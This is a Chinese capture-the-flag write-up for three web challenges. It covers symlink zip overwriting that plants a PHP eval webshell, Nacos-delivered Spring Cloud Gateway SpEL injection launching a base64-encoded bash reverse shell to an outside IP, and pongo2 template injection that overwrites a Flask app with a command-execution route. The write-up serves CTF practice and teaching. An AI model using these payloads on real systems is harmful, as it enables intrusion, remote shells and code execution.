# Unzip
# 题目描述
# 解题
unzip -o 参数:不经提示直接覆盖已有文件
-
创建软链接
ln -s /var/www/html test
-
压缩软链接,保留原本链接内容
zip --symlinks test.zip ./*
-
上传文件
-
本地创建 test 目录(因为上面使用的是 test,之后覆盖的时候也会覆盖 test),并创建 shell.php
<?php echo eval($_GET['a']);?>
-
之后压缩 test 目录,再次上传
- 由于题目使用的是 - o 参数 ,解压同一个文件的时候会覆盖掉上次传的 test 文件,但是 test 文件指向的是 /var/www/html 目录,就回导致 shell.php 创建在 /var/www/html 目录下。
-
在 url 直接访问 shell.php
# backendService
nacos 创建用户
使用新建的用户登陆
添加配置如下:
spring: | |
cloud: | |
gateway: | |
routes: | |
- id: exam | |
order: 0 | |
uri: lb://service-provider | |
predicates: | |
- Path=/echo/** | |
filters: | |
- name: AddResponseHeader | |
args: | |
name: result | |
value: "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"/bin/bash\",\"-c\",\"echo YmFzaCAtaSAmPiAvZGV2L3RjcC8zOS4xMDUuMTM0LjE5OS82NjY2IDA8JjE= | base64 -d | bash -i\"}).getInputStream())).replaceAll('\n','').replaceAll('\r','')}" |
YmFzaCAtaSAmPiAvZGV2L3RjcC8zOS4xMDUuMTM0LjE5OS82NjY2IDA8JjE=
换成对应的服务器。
使用命令 nc -lvnp 6666
在服务器监听。
# Go_session
可以利用 ssti,这里可以查一下 pongo 的语法
构造数据包(这里用别人的了):
GET /admin?name=<!--swig0--> HTTP/1.1 | |
Host: 10c4afc1-8310-4909-8c69-deb5db26d21e.challenge.ctf.show | |
Cookie: session-name=MTc1MjIzNjY2NXxEWDhFQVFMX2dBQUJFQUVRQUFBal80QUFBUVp6ZEhKcGJtY01CZ0FFYm1GdFpRWnpkSEpwYm1jTUJ3QUZZV1J0YVc0PXxIuJZ_tujChWmB6KOtjoB3FbGxQ1aBtVNXYPNlA4E9bQ== | |
Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8 | |
User-Agent: file | |
Referer: /app/server.py | |
Accept-Encoding: gzip, deflate | |
Content-Type: multipart/form-data;boundary=----WebKitFormBoundaryUQT5N00lcNa5pAVX | |
Accept-Language: zh-CN,zh;q=0.9 | |
Connection: close | |
Content-Length: 360 | |
------WebKitFormBoundaryUQT5N00lcNa5pAVX | |
Content-Disposition: form-data; name="file"; filename="1" | |
from flask import Flask | |
import os | |
app = Flask(__name__) | |
@app.route('/<cmd>') | |
def exp(cmd): | |
return os.popen(cmd).read() | |
if __name__ == '__main__': | |
app.run(host="0.0.0.0", port=5000, debug=True) | |
------WebKitFormBoundaryUQT5N00lcNa5pAVX-- |
// 危险的做法
tpl.Execute (pongo2.Context {“c”: c}) 由于这里传递了 gin 的 context 对象。所以我们能够使用,它上面有一个名为 SaveUploadedFile
的方法。
这个方法的作用是保存一个上传的文件。它通常需要两个参数:
- 参数 1: 要保存的那个文件对象(
*multipart.FileHeader
类型)。 - 参数 2: 要把文件保存到哪里去的目标路径(
string
类型)。
注意:一定要一次成功不然 flask 环境就崩溃了,最好详细检查一下代码的缩进问题。
之后通过 flask 的 name 参数调用 env,查看环境变量: